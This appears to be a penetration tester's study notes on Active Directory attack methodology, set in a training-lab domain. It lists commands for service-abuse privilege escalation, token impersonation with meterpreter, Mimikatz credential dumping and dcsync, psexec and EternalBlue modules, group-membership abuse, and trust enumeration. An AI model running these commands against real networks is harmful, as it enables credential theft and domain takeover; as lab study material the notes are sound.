AD Testing Methodology

Network-Level Attacks

This is problematic, maybe move this into the 'Red Teaming' area and focus upon moving within AD here

Network Scanning

Ranging from passive to active measures:

attacking AD features

attacking vulnerabilities common in AD

zero logon (2020)
EternalBlue
- windows/smb/ms17_010_psexec

post AD-compromise

get local admin

Windows Enum and Priv-Esc

PS> Invoke-AllChecks
PS> Invoke-ServiceAbuse -Name 'ALG' -UserName us\studentuser21
# logout/login, new you're local admin

Lateral Movement

Kerberos Delegation
LAPS
gMSA
certificate services
mssql
KrbRelayUp
CI CD pipelines
Hybrid Identities
attack SCCM, https://github.com/subat0mik/Misconfiguration-Manager

token impersonation

delegation token vs. impersonate token
delegation is used for logging into a machine or RDP
impersonate are for non-interactive use
tool: incognito
meterpreter: load incognito, list_tokens -u, impersonate
Invoke-Mimikatz … to dump LSA
example
- meterpreter → smbexec
- load incogonito
- list_tokens -u → try to get into a domain admin
- rev2self (to get back to the original user)
- load kiwi
  - dump stuff, dcsync, etc.
e.g., for dump stuff (when domain admin) - access denied: must be domain admin
- use exploit/windows/smb/psexec
  - take care of x86/x64
- sysinfo, hashdump
- load incognito
  - list_tokens -u
  - impersonate_token domain\user

restricted groups and ACLs

PS> Get-DomainGPOLocalGroup # returns machineadmins, and uuid of gpolink
PS> Get-DomainGroupMember -identity machineadmins # shows no user
PS> Get-DomainOU -GPlink 'B78BFC6B-76DB-4AA4-9CF6-26260697A8F9' # shows OU Mgmt

# get all my groups
PS>  Get-DomainGroup -MemberIdentity studentuser21|select cn
 
# get users which are in a local group of a machine in any OU using GPO
PS> (Get-DomainOU -Identity Students).distinguishedName | %{Get-DomainComputer -searchbase $_} | Get-DomainGPOComputerLocalGroupMapping
 
PS> Find-GPOComputerAdmin -OUName 'OU=Mgmt,DC=us,DC=techcorp,DC=local'
 
# show computers per group
PS> (Get-DomainOU -Identity Students).distinguishedName | %{Get-DomainComputer -searchbase $_} | select name
 
# get ACL for the current user
PS> Find-InterestingDomainAcl -ResolveGUIDs |?{$_.IdentityReferenceName -match 'studentuser21' }
PS> Find-InterestingDomainAcl -ResolveGUIDs |?{$_.IdentityReferenceName -match 'studentusers' } # generic all upon supportxuser
 
PS> Find-InterestingDomainAcl -ResolveGUIDs |?{$_.IdentityReferenceName -match 'managers' }
PS> Get-ADGroup -Identity machineadmins -Properties Description

add myself to the machineadmins:

PS> Add-ADGroupMember -Identity MachineAdmins -Members studentuserx -Verbose
 
# connect to the machine
PS> $usmgmt = New-PSSession us-mgmt
PS> Enter-PSSession $usmgmt

attacking systems

cross-domain/forests attacks

domain trust objects
direction of trust is inverse to the “direction of access”
if domain a trusts domain b, users from domain b can access resources in domain a
parent-child trust is always two-way transitive
tree-root trust is always two-way transitive
external trust: one-way or two-way, nontransitive
forest trust: one-way or two-way, nontransitive

PS> (Get-ADForest).Domains
# intra-forest domains
PS> Get-ADTrust -Filter * | select Direction, Name
 
# trusts
PS> Get-ADTrust -Filter 'intraForest -ne $True' -Server (Get-ADForest).Name | select direction,name,SIDFilteringForestAware,Sidfilteringquarantined
 
# external trusts
PS> Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server us.techcorp.local # external trusts

repeat this for all found domains and trusts

The following should list more, use to double-check:

PS> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
 
# Find (foreign) groups in other domains
PS> Get-DomainForeignGroupMember -Domain <target.domain.fqdn>

cross domain forest attacks

🪴 Quartz 4.0

Explorer

AD Assumed Breach